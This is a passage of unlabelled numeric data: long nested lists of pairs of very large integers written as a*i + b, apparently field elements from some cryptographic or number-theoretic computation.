978198691608128823020279598441925155270542084558759051162762701283498055557194521802907162791672782014248842338565688061702074044, 365140920812821140976444121855772748969378258033307091953223712971404574128450354793010344704390831676432907711922530933630357795*i + 1111029761383203185631454917373337880977572967089947877587866652681554712281559558737793228374876705126208472323890513739761420978), (976185224064809809986061792776677659992724014292542493863782514935301056800086729773711601687620466058524592481612056833266710249*i + 1079032260025304488982112824773410004177330233444418213914452050920750033426386631367481782678745516575341358261421659116805318777, 1141620033991394367650072767403718659061109470560876836608898234658349475501255953302438262764900067810250830423397301953121686791*i + 432114306205187521359388764699339543682256093914229278838354259700929637205612328062819897731946824283932177062068129242054981811)], [(640358013148844498606916199315067553018712655828613635551383485372736801036402938690399577337918622465404313247772016229628704048*i + 453063348389526408557026239516418456331411554363505292406144059966698396753499358207152751387421624338384706151869007797274267208, 1333434913978424301424107807638249754188775456590751296474440355725834131687139004603683686883544582041111631655200682745345282259*i + 671356319718409926870622555192662274499754864298928211147988025790276469318746852082848063945345344409775851665755699124246736206), (748986096675276024423512383920944468639925243473974129126703305623098186311215343503717936335761241839625969241420497274164846438*i + 985058257784161859342702003838979533396356177133553274615657965224829368629674150983816933611434435966861893704481212562618485413, 560425682683546674515395057838304647843010712202008112980828773479070816768883172579706699679349309868945485508092587654893962257*i + 1564785760422966605638964856700002409947002472140626645388530157946090804253699842688085639034192876400459031132764235989464594852)], [(622709488175968184753352748965081146713029780396379274803676050212999099134369369286427311235945637950990001808282729067165990674*i + 1460242880973577356232179230831520758499734973789341223555054943168288533062032226207376001774388584998899637489383039764433667484, 1426920679986039861000743061312852234141546255368370975948893991951930664425768271661658225542876496643953206195633643561079517433*i + 1001282426101175699336685935555590844471586527592032590100926931683889772727638574785921421574987322690151435646977852332556775812), (127082096549496014524879057086139294414027174525604430793172094491389966700214639671812545909512866400400434976341478621577166289*i + 22578233647502819899055577541171999164457392798633856067883253663606376516020447340841400137879326574399083019991037910596404842, 1575299442618204396436865392513168877668878544243012079541558163216665329633077815319616794723520444457855459395997776975700601633*i + 682562146132877111163151120353919698088068779729459757633908449898722918155679694613305074157767443161603095265234832150444000505)], [(915741449484335871830268760071495832609242010066609605630706539649932727139195759596550873438289884709121894820153620596397828157*i + 40311546826680888853703539242317629561343210489973442680654254692415701613645019196573215389229409163124643204795924661930117539, 129516045826494783515876482936358011036069449092771244996591271494804627050947806841219742502313771205002819646434662592112894589*i + 1626534523994369119837916386762211516424918310014248802000951134804379327159556397023387113524578268468653965222452712247083741522), (744970790568293069231602977761595916071948558587654230710970003384341227522481583808365044476505480215930153233689092511350068077*i + 669922381582478467429254201689728844102693806087828245993618658485394025189630944134980315227086360093922576372126675142536056349, 478228007116459256274352181524350500966132392403747448115711446479252601911242295618412843874086679426613130034848059997484794406*i + 1299403668948928441740940589728720175173516302738711828976020232505428520097179812866706566775199463820461374858119126911896991949)], [(140002155342131467539854467261246304198769038971848879765637656227623983933405126814356535478124694256424073370745682521676564118*i + 1204209154246806053458421157933541205681793404459773637501327195670221097880958411349676312258735276287451959517166870145505722507, 782461268855296564060776739621494148369166846409645663235103022921695374601729755868019377414972364124901314700539907533705753868*i + 764438346497900020325953546294087532155203545627336731721265358025390517090421897622433315475728238445562431765296147365054394773), (10871961224454682266200392026712391208221082177569094692608423043547723758687626472893333025697210524826740898447056963777975889*i + 479950006019953379514271734359982691293158346595931892177194746573871086666075322196599136872493499798765460470846058972821603326, 284558768447920767852797846866284545639826176021646608234299923132847987764864530438529272434271700700188731276456394432050542711*i + 177046845318593223337251454888450943510864045070202633273447613150308287064322452653516585978760429989434786028371816696856176072)], [(316633696074090744386852316704417047130697298026751496375357313771517079836792028125488850235198654766617419620740197705744845797*i + 256173089408732561367883539941086417688575238464341873408476630458287761876793115032122719268495983809288704504224115599227785088, 996523252545624591498853047251397834206788993304548534898979879017408606745288427760101856705326142019136857340738519355873699825*i + 390810804866454852086176497992258247970448054678320441419496359308656351737966451018642227144406055139910907201766312517944679812), (675587121028386885369342495795428019179329089842901475038447521514251039663965944338146638590268975244035867713946258996633235373*i + 367616248288002754738372979805234143609074464645283911907854453808862500490916263958177412391410297840151011983469218348970493554, 61053093972104495982487676962470053065717229753194215668556877133912728577743703084244624305564661840477399212276401250737386845*i + 1372706560345074758735356180372204242529240143873410176794200616301421021507848837259837596361949045350078662237812470170962921234)], [(658072239095930385549953591945601684692430693066041421720976075651754129042520719321314459737532592223305497711744402692609177878*i + 649478642318553045608607369704088592727406377122132863278352691750888987819779103948788435355769329840453021146065941991204255468, 498999158114039644509369820230838503812216264234018700979838325101966072143578801840650531802492071175400037225009028973889270151*i + 547585538445816144968953626746076646532146501798968682649234674824474683360566338238955029657150736773293055303727740247520861760), (1461639906859961673187705673794798718380739097260533385748122035024892385100431271824166617812573483751370297767525211562298029236*i + 960736068031146850330730406140629518402152342650346132411604046479504000825891541486865996985469264303951851308750134798254734086, 739965446384822404602943104541492845549252974923107868069042593975570242380552407758918608674711643177486772541604396915586294432*i + 287733552024400167708615904742622666977397336198593665260400260599629752118067292941934660354481756291241486507027282090693008030)], [(436039679374443493067599671442178535091853411902349921939693895110800224215768104371907019975150462399073543523365363761701479036*i + 425035197420534627870890986154536324071296663199003873091389861647832692900738387490546527766195952654840939888529781144177915486, 1530983943103572604203534049265573031696566009983385030529455260346977579839150091306619794212669234786210466909990342003723724629*i + 237257523841178950392417632266207650399050407344786543495110387185942469026832860245434548574893530176112282994672919073226594497), (590085686171488905211195800438751986042770830622770005244353183690159016826328981877319580812537459614325904138183537117832637338*i + 312699904677747489563964614532317088344205426202141126917892843159858787227459311810849385008747153325184502794967561998941368709, 224869851051131235219750455188772410704363434981574895086603739211894764950238864623562201046833161742504169206937210349032658411*i + 1289006557993694543887956782770099609525390474333094527023710374897589434263524107311308896151170449482937363272523843180631501680)], [(1424156516320149145364476276761332101640674756138564228935794760875340740690058386020080143935857632913238861219256205091084222893*i + 950508834099145250303550948560765994972982895143602537241659644437994577314023099285946397968524742892179792044084534792362617499, 862253005854766931544915652645638874673706063138605265478633496237442678715079428109412989736703838717789824870577541537981177378*i + 906132580868276140166030439260487602552784465515784076618167685299958912788768922897409634471923702446683580046757020657863062427), (230687380592735724938413164201593053027654852674031846412548576743826826818098060704223111878238269574161787616160718332192746143*i + 11834212229875775890578736192849786331731365028669267317324857369118776198064078036452796558474802234083436516513217516105925411, 1596606963098941415159108443192305400451879365248920636914366165688414725205554779582816593815727518318243972175067315077552228000*i + 821891355256806569332346993878176106346154762117270016718839982061033172169836302043697727953690008878925257514759014430509427460)], [(174069196574689195326336876853045507621165657064349837997023734683682692950767712559528347425439953986737386767777955462888083787*i + 449454186274193899736757487930688761038187923485844550912025239529929818152528921744488387704363737892020320016139392428599570645, 1624785005916326168263624716905449374865277821786763505316531856576474982460923995477151842181577697253919453189948606359680347824*i + 170227104944342979268361069439700268247049138978799504298895597067760594576099973174945877662277966623926445658903569326329641510), (1448263386839538785591561761123537535657351039080439131820491473786918171774179861551827953084230445599759404749340573389313775347*i + 735009497985018649108969197593524399375591572317797491512102650240895214458728347748676080372464234883398479992641945116173261585, 1222404454140739132947211498760797631320749394771253308164765251146122043222441627908106795340926639033656872904110487129951267739*i + 1177677840001487829096398594110740863525348282984728356425975113228274868822917429299078191947498330732232520831579494793619291171)], [(1190537293676400603734121527661249337670369354061051692153568000861630330094735022490915068548944650415416979062740763659825065936*i + 255519939135921706328952600866022063359577119840352123303243489836526792431006153599204500637606034780833135684915122433612215133, 33205936317653541255701002839365836820034908174163521625387766954523840949034249264138063544890612321842940547485133761877383166*i + 1514875175854137579379678964181123489441864886781492050077229501506558239374550712142129374704754156920531492856827738502681604933), (1140629901180752032852203526915249433224278355157454291808665189144420108446956362877271287952858025160288968764122331211682341816*i + 1487398818747423460429936874471593225144830321442274322959977945406441860037315476800003759767628189691341487442089719475351853107, 445033922419641559767262891497205950392671074013866113565617351721421579725948271991834026447335720288292218999105250240743306277*i + 869181664916134312494080958467321777844710731775866397589434830940410098588500098540434491459119065140588674262006915992498908584)], [(3877933092286817672324900597081556732518313102699828111862994237009565247885464971860909960139289441252012547097861510893903809*i + 778156194056769503028858780224788858595980242009491302936234187576583319146400364757453148090862942154837593605935882915318187094, 690661925377048928482937145066383779158556269277251734817581703463070028754961556313222912928134319121894688666616432102454650165*i + 284044123109930909262670195224449664621461751845749505493021989908342842069605569827762562872494189646028407496065717360505368304), (14485530976622841805316887370633657479719982482866496112621072096173220659426072531394778621913456875001337409992761713265594498*i + 1604086532917544127425902559323342640322965576356787696316372670910563875322509489808041125385935202620387927289999368351669501841, 1010294125635469050467715776867752125364117061837520523805830151973022421576783285428712475910628339185489216435508855487915545410*i + 1165286938631364686128928766186479649374642767832791064057484308883522229358599764634570433338858564452137794507690383894372860760)], [(837804285116414167857211475457233221899932653489344323423937797378728183733408450637159832571307402802783773868673399496778039123*i + 1533234596966870598855713501446687067542564659237793593306017296046546923213131056666236558923764268809862323879369385220980005451, 1062611290157919906929505862751185422714708859628786842434363306727109443582925688175237479494155104001644368026890892625168918034*i + 142942336028531676458687281243057049065216741369191482222470763617262990485477481440289990199563300916646102085086917340936720361), (1403305477412247854582990596564039319442791105768871680143227077515539080237624757472976098992149828738562612410691790532311182934*i + 1526510357344116845936230507352248772369943014983903224004545504921143566167134000312177394070262559260614000934600313972207020945, 694459336305814776915279695513707981476936800216612708145839604180393876948550111645041353760886419654417281869375529151822969918*i + 1465099809115571273204902438126510069129737437480570775808980457739616745830240827193311245422982686541856142572220338737054398518)], [(72315732023966515230813497822301361484357454256623377014820016837270049942157534039532775672780869955467689544617837630947458873*i + 1109267638023771385988122178424760432392797420184839632337575887210031603892122151210526797253821637363228026169612521991710201751, 409610551760601520551748768655830598071972791917749878674696021495258865784112031600621742924187098734798313785031929385340607919*i + 289026961657865137101917032789012905235059813676862814237413589673196985926555945181913481388672890686572169565924634162122203172), (54176365027828699018894234603727872041622264179509356268386296993445586264199429006895906650589273970540217624775176508762715412*i + 27476733454501931263305248366708644853666126034542334840393574458623917507143750360730231199866201941243418215497774437715063711, 1511441292931916265171110645399729738175170431788451229462348769701242387332708824235828893042080343508704133888692611566543135215*i + 433014576116270826388228113813252058624225679007965997864188952936343510204570209902985555068457609064111156407503507752849741557)], [(1195164638125769496080226604537662697360063386793303798727637143640877246740008888542554672544894454389557811463675652935410942701*i + 925423830829646928054246312698932807547364154224266606118122599543198281770655258447714730012522264691498856384222492747086655602, 1161667715709297550518613139931711211873669693993423136741757143411840617421803678197287131612811244872424073700933693348258728462*i + 1506618736634513063357414856055564914688245916631347145520844745189733532555583217901091921252842941613101144997573209353493087051), (1549462812592273858495880021425678962097607586442413723131207015274048002395876533950063381878049118382874715635337576834133124402*i + 1532974031056429621946066656163366919693515738599306952331659120309840863408521797856964462866129251772370209337524370267217462145, 337236864534537592110986890761344530024105723869200613433240006584275729794584231141167790382403927633889824939603299765491131003*i + 1319586038947523743071169179223368960991503721573283473484573641026723509579273131831722430083376576180730813604282635753411825741)], [(354838465032682150072383685909521086006301484188865579932173039529817717788134265725700161738364051988088360627465559569473945687*i + 1347748865152216781112466945089265797717950323893065808538596349222500816256251941743319071606161273230902327260190681496561511043, 149171834147919635966594308376831207852611758133021017918598174063082508350120057853926851641683957918015248881092047773627252580*i + 282764384034327830626993754929972354750612238661348036889503977865078337808587304844003586155240918229274720374356786688069581165), (544845477304401664669630571229916132349756940569706422513148886026717828302943723681236544208338004938607649446742521398741762883*i + 239407792922543084742726676429198334540950808760942163993292634075495437405344109921751988553590018299934933807956802651965435615, 1575726305880804221321378951881317402853363601204463304590308551243623375004110794195590002411026362180039806904272661630789555208*i + 396625002334015729857801258975186344835391159151402407414678595375691986819183169754714384928753271450627665199878303512359266879)], [(1077160643093672904228332629574647205192123695237167596031753642504382548290645292742084737594570088318678586476495298282071767508*i + 844654277994356597549173541407656273897126012362932596998144872436007509589998248041562722111759191671063457024033166548615643051, 1050192567458695500759440333898315973730485861929301472489193237175922213851590971536735456339240989917488517110999243015099420563*i + 1262127070202407688605358184556131293668580293964086605647850019000424833120532463516405603696112816353647403119476013605781338700), (1220076693354225936800252808626448848017209003679955176533846642373530330346566202108287478271326403090395801283395821176483720253*i + 270318645398859053424018433707057339254770497255802670804914064831901839225200196310651956835187316939592024688517037650782859842, 1163440800409100290563326756156334452108883150236307996873350993611378532846097510472502272789902562605510054660884954483582618624*i + 407866163865005088922853367705166984127193624642345086423717184475939508802034175484728120714982862765636247938467440273801118932)], [(1033779979288941602410880297037374345495097010162185947177026167394838213416310783889152084865408888188870541771604614548936661098*i + 787674224730050195922069675483893041815123536746777353324096530948414836412285300728668936056151426053085174085583785295193844595, 1039320989121341081309307194943190088476278109777769634213873769413620530110227222726764274983582766376919713610956785650406858140*i + 765727055871228779238549326473254695184717130444831216984985953405952581530637764262769098855828372915940980329932643477567837071), (1300788591294791062675525736819796209506574917307101439582009994575174719802411878090248569822140290907221016506176819602765936701*i + 320684570220795541524632434306871530262852729002813789688980726525526622876542927708243708624576672230087968352955614526021018221, 973103316764515695166927532794763515840900996671059220164626028105894973223948918598875273198324191364776264314687274541358182553*i + 620173425403840548492128213055185447286319775833934573168797708069551052228458747846949425040452704966100993437385344125518115538)], [(1339813101515525704846114806872836787065079026213324225326654445611190719381925513315963022584195164966145974952024623109940588525*i + 972844488333378081596720114654793080200091092700094711803205710788014124717856163128651459731964112426094582255642724688776975392, 555306007309223656498354959024571015601179372206313004370464050642899560720320174468681413479209714471095654223819393207170935037*i + 1262361341788434797980882873842102770567627816555590986080897669857621964066950274548205392145795847766802907465029083174791320184), (335959535205258052023222043766419531432192421566491201062478729366471511433004814689442216184319243635504478337124046823360787755*i + 1063449341009647260440659946381502517004329970560904887834389839153664429319294176917520601550638476620734565284420107556526193670, 553708498467838647807040617114564106039492485077267869608093873563418881554314233929829956822250012952986601503313180277449736199*i + 792612767204745505356799547236421323307970692569772786895787330894177209383195813238027740102992303022983180971981568687424615777)], [(24598948806920618513312637251556588815067705610528901596836534832826327692440565919059279303646451933705395402965483977866519562*i + 1017999845054148261602675259807985369966827320021798059227428641553602368067573820564581479239547688168682172982164388418047191504, 782696782998549851831513465778527185088928330857525284716892855822223262644536502713346208499179244961207965952345345391359823944*i + 1165667950105802170905773366558677422218422120753401607102429802251575869183503025878732675989567754349082505348504512912289471024), (61361896550992779878091575680330811845975375876561127408078103964423641669815824123181504147323749092466526854761248486119901324*i + 907855578119683013402043644755486054883101206975720269057193370153447191580957824244392847387650734741228501177317226539807352046, 243988897445974041582458046332133799170213504039563433977690265020232337612989925978266912116526812428972867320708036108285962931*i + 788191301480145928481261703881765339340560076455395711159619857438184139365239014963591268637931077866647003929522476508039724006)], [(700837956275253996826087089508594951447542590708193938301984902360990948700800228884617816587632597604649705510673354693568968839*i + 852413705741334415005437350150253725134797928099059551785858784958302768065844264862366103268180489985055452006406420738966113944, 1470579446280706268346352740463343540530690436653364653129171230181353997604399148800240225142364093329628413027711104841422265939*i + 532350425859751082620239552617627053874770939426983868200623523960919379258440236791909056615903983580041148438202238906636666492), (1337947482380256533979266506908688949583461962463697900719113567097789706875279804118333870200920343258266066622071121683571384878*i + 818143266998400233815102946532736432557655091196490994000693886475811633311067914885093418926043036365008735015460440007629842398, 1138642727330518538282609057478518312374256970982544008723486593965606685774615790796688631042346350888185813169616312989332880985*i + 1166584847421237401924326418983417901904141470733023005124618319333242170819205875322600358527284451137971659086102348356346602235)], [(1320004790554630140569184959146274088141293177375335869274912593585575388205523111714453886792522858827416744890687897529301328572*i + 408548482585699435266768250236208045579931711103894868000792100996211293910654064370080199511798067558397732023839221809060392250, 283664309058239381869535169811706537510244249396546692217394823812552302194734788790355058283648737160191265708451590629012514595*i + 414659975855840195371781116602788538081495768336331749276805148980949862955079265077670197894310134292610062380550078349491911419), (1526567017457658571549425463935792703959732790709580511204076192057869244354438332633011681384662771826208566102773444801570268866*i + 157202743583302923933138776532077527189311063847087768335718716367584294471963714209710647608426161832071153739775166929070813804, 699472655801541195322412914854789423740650756566668093541337237586316316823353283240006421646080089378405444048895769019840734219*i + 104775329425248413114636971784302894438154278329816701740060563906585032408651467260624552007227029811098472684286443814495213600)], [(214954315679513428249353569372245800762093713561012153077206152005303362313397689188877919458392397249185305742358891096622834639*i + 129305645517151775089739906546281823429299371707928355841667645087733093218591694447164504073335540937273774172220539101348291257, 866379962683141241706884917464806019082437794585945373718853637490567884395748108678236342014895589203421611926675797544288914419*i + 1076026745002020476251753435802828816766304579702919806950776065016908184225541398678459235399603773948446278444762474253673407620), (864690727965545277863167432631202086315434753227170200195924931449475911166861214338808288538041498643754628692775774989900671625*i + 1120564245682758746425194066830826556417744973575306662384517825278410728051937152078441876963138085006334920206388985199579762617, 1586808341536392482402741360339374073624186363970161300577992634925997570486995369534569419455817720751351257565799728515540939457*i + 829592403598728886562977579325631398522662362593363555272740359900219419743798805960388479800847813939752573608684958005495679606)], [(387633094639768081110930383026055647254775981905574237902066612777885776009979740004844989293371937785291920712448357030978655673*i + 1514756221865885827563566723283280006415914710187232447369139186364655405775701716713661872735523158276691694598821332823533328649, 1543554693000639815645848059587150007405328910790205526735733178453975832236957493830496994547647763943218142045717254471395231636*i + 1030971609914672148386480675063054536360436456086963583308207006475251621224135566641969225582492244297478277547645806116002351556), (310541884735494678166278635454062725573906239203406012429870168232976190782744226348133918735303818758849873075067789032700054324*i + 565555231805955059235548437028185025500119232216831965492928019768490726445965196165740214399770289747694183012719894827458333337, 657782349315093751174053305458934891309128073446878008670262362876904887062346202896895245983602822745640561066374127913600017359*i + 1489059347208022914468726170304762596120696371604421586898647942184527770155245996585957786430426959090837150439911621190345183311)], [(1264598001516240435956965602962115756261137193432154144139946209869523664471064109796708125699828545020395444347545001678279357671*i + 1163163246925527416096332961515255445134111783027371798327621676014095961706437861900973497295725254449411485014578978330042174721, 1302937848534748963838815770515455647447570676568725718687597253416925090621193570139328303156961628709121102907419643176396688925*i + 1182369188325372662797476617597382489539103895475333169929060691727095596960630786569824016776073637801729072675301504111408734286), (951043217054570731500185201737460707320859347068990724360404676992774673093347036709018982690161359931473451483094023699781807993*i + 1347609373779130294296514132571550247751569980195570705551818723797954131957561138866092799568538736390804949215725411352998567846, 1362863870468430503135503301028212443502138246358453050593726764648214029775057568003724979475896210808634044021160412364938519445*i + 808035590535912252150993978716250239425465044283575276214571710918892796567600969497542880226871831148007687570950095838770652807)], [(607994285880309457819927702621432342475190863837693302010529321512687443000089311352245448715837297128255493271531130271931676464*i + 75792736156149581239017950173124441331834228341509068692265625845008926161559137962489286637578339375252712768246684030109744678, 1065079271075133930532651748876942292937508141246005602813822289932197336484969520002496385676574037524332003807561195073188818209*i + 300539241940381975085622608996803930061085135394891378098089420791742228895968455939456961000024685882690705276440835398094390194), (209973329699838355375449330576838812042588886495708743913435359895050946599547812697177902907142483012824968442768583547577259898*i + 974927499510666171827369413030371088875579513809049142966902196193486030370060674567658260798755782661513511258271085039053088647, 1364856558838001035629040992421057132309442425215911892886536759867479286291780861182763379022287041830973871322829730387466693874*i + 473544222023103669959937145875485795368681266602790464984180418626039636094234968807693657042914281812683957393410035860285557050)], [(1093893347109876415518427155807519497435593839583207868706747739420940478175082387004109474610870735357387033272272467859832215985*i + 897423743384121037892690044627477421241183567023718902337437392470240640171215876143823812670916573097982216399682896268123568905, 1529223862451268665346344404787013719448712463744505380921068235422951651818007241668746880531704224454305417376150913764252687466*i + 1207184315467281276391012127708956625243059583475459182646428343624646927958084657241099524031769420031832961738792296900455410140), (1095857844639652658477438582407692597766602074192743403858247469143860736981354920874297379005681801670954450608999330798133352963*i + 1117145224962381571588079732857099442633285066875695620901944789020699577070995674443098907238206591478587689180410501672530102394, 473732558793504513875477522401709815922378947017270664990339378628255308242356663805664868156020564553874427459958287171636812796*i + 1613997654327382162524111685875919337911932576401760001567984330636326217880287722925663497636592064825362492755787000544267651326)], [(833019773923696647884434055624569376425353846794226052766632928578149197023379651522042194536268551549478507292319274558033845345*i + 1177216209853976071206258943609501353517123737478830200136034285453769390536370087742217845804038900903691250005422672266607020676, 960701800598091201090310705949731486204273028712768815052980799165048801735736733105849592034398603883310724997194231350719165850*i + 454101238992440676394894485607655359636231562878602143744947434117744092402371736257435845302603907934503949301079933664012988318), (1415806619258688365511678598869362317183379002307719300005281879430415872692072574144368933623104123898554369323909534899794379284*i + 771017849566060389129284255548274340943251325303337624755236988944561851032394726276304604919232031497276163479815643514322204069, 1362651652629108843157732718798622469792191208277767625408471340928396106858691685411350277315193355642201113971863325369303215514*i + 1012665154393639000136042601735633782807423112782783709592574132019764694987158674833498862489585736548133491598647392812578975703)], [(920084110936537442662889232282656243664256558579464037641213177290031966709625701870367421834718392423582005006793790500711631587*i + 1273130800013261469259112969899602263147121194826546373468783966658590275777188795636083444919040107005540268691765624003305619911, 586489413536343114101008411023510287470655021409493398562948151994394407882092511825014656480144632614404674773725328778781445674*i + 288915517376097730490840536072828067880178156432387400482914851247551137059303542874701844313188965033342141268236444101226457604), (490610261628958453058765456123704061040557723940570646631765302682972618526251185308095182901404741172894171369251894176342640015*i + 1416233560890850801055325285434979480081746843794165727415448673206458417728769737673226039995135850603944420435553663357233535776, 1461493496847753695543911035884722604378995796280075566926460929831444366809111794424573042913721329440058031007698433465554943705*i + 501695097097514721055638308419044047581921181920979769939392991906837735909220528818797915735529374140471829819678903982895088255)], [(1402835802565213876416961489062345128468129914709059497074696063936439860187365029638372144443098740414315959194676813635818724553*i + 1316727540068581730378585467955071682223056883998510764191170335036347015965426300538920719165794258363940033924254448581179099952, 831586102418871936622581621637487963713856941527234167642012256724194355739402238225648958609405218856525788647029535758046522466*i + 972859946542912279419002099152853788814205107633699195327655752532987668722852872600806128875606643496587244180034702624681126218), (94441144132980040116053590804860368223769248012584771861767141402636245821126753679027422597636507103191064385757487345841065169*i + 1164425326426197142003613156888714498322972582510189926702019231970950955868763705943885370738597711533970686708410704851144492106, 624018913249519465920645520932560077072833738295992872492629987735250806173763356847044650460243904151275986308760911939705437866*i + 1085539709396109713786504284882303989956772031620045480168456240929431560374542456146988007602353690914211152067579342715465630135)], [(1616711025525375419775154795029373876721685214517108972800707236662542159449513680107993608588686422865124516480225891034712909518*i + 1290110165559188844729394145378874415403915593766860588852755571912757317708375051233443304076703839308776461796604239643401417438, 60030479459595091492152282230367658372538061981186407538929360471096648507828151168462111067338774381005967850603156210113880440*i + 222533788441948364238989174114976052496346544018860549759615316386480113150354516342116219391353770886349659282892274059076819894), (768782432826995670013333469825864166171857319931254059496146035760689196819157541425301935462555116831035077067207462353421354374*i + 949226214651240735902561103440658521955194220245730069918166784305975916088819508443215796887828586426403798651990974493889862907, 739358717723400972426229908950528075275012411767443915836132878664130279595347942412803825887016480538196090780516313590412947155*i + 650206985506605659954607695471254663529577283614871723937776079111670658224691520367603048482871176589916976323101935896979021882)], [(497200107678728218716132649777842896353886348700200982068204316305040008974225230484186180794657950319621410273298554319643417170*i + 953476375814311805406933452157764620737065686205319813299420292240496508947935171895542306206473225535442192062165647281871001237, 1622289645781095162435538242505513090121046132664337071203540047462156349933653700232099840110601265277794691469989463484177990070*i + 1076575999274992775484047745182516432580527269065060011110420041846565401983227094966216959858224247802942700896089540893015414347), (338691289365796337528840595872135110116310749843521311855676766806385418988008040669444413379321532598655300513717400502134013890*i + 613031895171636264336259252853641287711486636004137238831980520519498731993316685780276787362915393155651519799056441379740353178, 616689091541319660365536771080224206273363663018618811383940002030016012390660091460334919065648165272812600573962352132192666158*i + 1470819179473343683385342143707431995989546022854121162470980997093819776283428069079211318360498432338926352505889419295733366910)], [(1045212978797964668391713290637413235874907632748419814734583637168741732233619276200495887468318992437720440441593667802021669418*i + 889971251690825289159234271602250002516936067624112922274011717845133505580797528698986026832409699496822785593619552826641650651, 1115220357646246659850347854056892303485854890558270650662499172032204998134007605976512180825886859447374662378769232717794572066*i + 463302698054324949971521466960807630007274845896229616712950885669683556902995464878860171992940923523581679832746983054772277451), (583154179063434163454104863828676297128070836782526188544630107932831211194387378520176876088944405978581522738106647394579576370*i + 1605069343402806253042944526205406274577991584934247440620877663194059045510018977072669864687231777346582497736285771995089432676, 1614215209145984455867416528426202048956018672235401762953515982597672433914395532777739203911901763498782863341646210538921099910*i + 891524014082314210536872119894564532057516440690021861884041157379112376777890164796665680420955950499900516841568270381043924170)], [(530630781492051048757565987859738196702763905069427433171055964027409983558796150199758560595559968584711404961050016081910613711*i + 1108827733913127572384392672476415396938983809870930093267716914383922184202930565840638563290448566989224618728715695819915009984, 1133857578675660007755891738787558306008562800282950382266451987848316384387255699173916923498570385221158499532355274038848131120*i + 1123356534865384692089307519770102864516515710711444334766590714297885060040094701188870225921601744085878554101254676500236430630), (1402385283956856489156052837928728729773736567804871250169545618106981464686017237752129340936413526043263175436677839699240984573*i + 1272784776583603532932407605608283212864266364094454217706049345810495668674697823036070599540673332236182165888801857594056783313, 335323935734679035389169377940348753781154997856759299344659705977860621600672797323029108852204561070921849638002765267838903473*i + 399345742268838348478855582468254060922462272493425244530815541508847333882930962379411254653210827853526079535120335302747396232)], [(674469195256432545070969447675205001330694140322633092535045690890166079108795383348525096766690326679674222094590927184221074486*i + 856696359690059254273104372461322205049368005067141103611992564115852768719607722930541819115338650785842083848216529170071266507, 1485763619918096037547980510276532707665213688110181445487979346846358193217365585758858506223948540263140423061591808012564602023*i + 1198357547568460675727541588051120256948527929604302989198955927826007531789966293085688482930582273957893780208189947392377455719), (1145700262986252127879396405192627943820388247422960662609488503368732194982795840463436414460209166831329294751418405937696237742*i + 562719108190790513096213807890274180930188507146511288119883492535548800743602034338738966811868439939783135332091222975205138822, 351592322359973599936149291268109943485307213529792587281278671682346066042313358973341351045307709802834638134803582144948966935*i + 1516378455522827886196898094471388418449541744033636321250230559851070531946548716427182867491329922294864780804172791832168553521)], [(1349449281358824042272347694336412667518492754313341024838629768833928359593861295513280740250098836940503029620193182189107599217*i + 1483944353269376424694513281679008053574972364815642615007283765949343537247961511189067150080011746139167731722511545934379157733, 426592671843724900909153564308787216603426115102102052450259368679600860384648300147683568874379335113131332522570745792661587138*i + 1512288914373400808804990373889101339399606529680797303043051809184924798893112521798883348139685602592667732377383166356028981382), (1026080849261566623361979339563582282698645014022891908669065365737072846320365595410360658291352419848898710185889462646477805331*i + 1421085953199725629486851867978646085486482395701646255111920814828177330104654557902370695363000173224922348492332728687907999230, 793774354385608723444207540915968255978649099499679796195796896824004195426475137674756735963561752507454466743676762299660006636*i + 962997855947880456370076299537140361591325551581852036876784755695040738587060031666293037025511938871312374880353229975981616313)], [(110771424593669172654884360363298093418824357498021815499711484366984913905627249741451609936959757770285857985786203534588459367*i + 716908552784387304249766506223471580271548067442834734436377481465660323269378491848162283540246513309963048408103312664093684486, 1621146241455597323113595045331413184315061049636438303237486764873195161280033850942957321157998044539634775262347860881421686372*i + 408368252138727006066884469111696664664857208363501292427366392047438788160345449804172017115373845056215288118907324569422790498), (1357933902471226350895574802579339896331618961642570356563281774476630306621348901701946194253295739322523325059136716451434206836*i + 1132218493740124611346173524229336894514427789972817225897167695411702041765837814175891798049280526229704842946174714045520112147, 1076017394099362599855940004029973808608598923562833722098438923445977913818510418862307296418201114060149920000619381704373738367*i + 958724640707636667459908173147116555736293656353437776241496909196586703416265411338495458298318946446365260525267317600438607396)], [(175150906063045006921864295053969569091757884111206985290240380073364341294455161196258570591719476596439616983889929759343616723*i + 1162497945386914254644559522682808107855570568473110983028034259308288177834816280270647228612443486532944790485848139518710144420, 1561884490705551793301820217031315415314410820668694168852780806235853528167838908305036969722403765470323978281669832553769767850*i + 1217883469488381878897489278966682615061936584487890674051918594542235094145926388628522657507097475048642967192604656759678877769), (610661342382703890216537606068974282523923650362890224044116399829074396997851282970780877991421581926495979497373867654789446300*i + 1103056111205946796934092795452517235311749381060373368990683523643861701763230005705727113592853892100093953469489581456692031689, 673196406531695275871386078678473911597852990962523440712378064285841896763559464941076306921549443594355825585358645447286622257*i + 1284329339357359084743822505689312652756626425734304963665875531780715346446974357011520805267197497576070489453347376771725443466)], [(456901571908610197158923170026796710567820149974227210000941762534543906529938886060367890487821552279761743641155294416520719856*i + 1539039548412981240459213788250541281185075934761527682932234143512073127145472951691272480392014438289828495902591523943755906225, 354873772878800957388233502372925312744404268312091085722280349913605597283471641311854430040772484230053474689549605233973296562*i + 1501449900900472665240016930829231897550290647648267943362614487548373892193668608640773876940687008204418547691593967969952166639), (1102100329404740603916684673234927050232730051817926388039073283445646307703798689205015640351145665337395196163420399903660655435*i + 917652420909605126937087767076781732657005454996510983107166022732523081017908873274699896847704163106535901436119774150463285313, 1407402662994908884179714010465174800592873143575370871033273269496545462325860014210314642542227175225660602588566991735920375620*i + 965575238979855195710627103911885476602992719511660424200160710557312551532977996091253179897668706830859764674577203658957187288)], [(437493886850890684974790646646393206001541252840280441015626991571102774974609618528716124607070584016879372299407173212680495449*i + 1233120142679863585123741004076905379152013382885723816911397263345533271390301193850785745511555842980320516455358225654010890017, 1535929249782243806240970204072246681137306318840517161722070579695537391618262425896625159372847515343531208705106623966488698483*i + 820053947044250058646171938220104658595535037947217027571468415805688160672305199743007826929857989278789078148363198254996172579), (1080774669269665605196887264632166847029937716534296999405640968836093261073168000268744617206972610317619698220316983954915232118*i + 519857562511165426497361741589791019713237528991521567226670082770286426402287316140700460046485035266374864882583510918040219934, 1118889944228826446216731588682001522315353485687875668109639781229507016620876144610978117643680901732162555828202172379167324104*i + 346302912467834757369541351776962297135327079142778211008358873999472577017044586734934309256259750641848301212451775045914634057)], [(730397736271508242416883471458623259035087650631179497662304346102074109554419420948194712506359959962440473381813389790553186286*i + 1407858013515632703239426934926405147463927950562054307220458678775790952959623834791118018834108920128319281497805131189897663735, 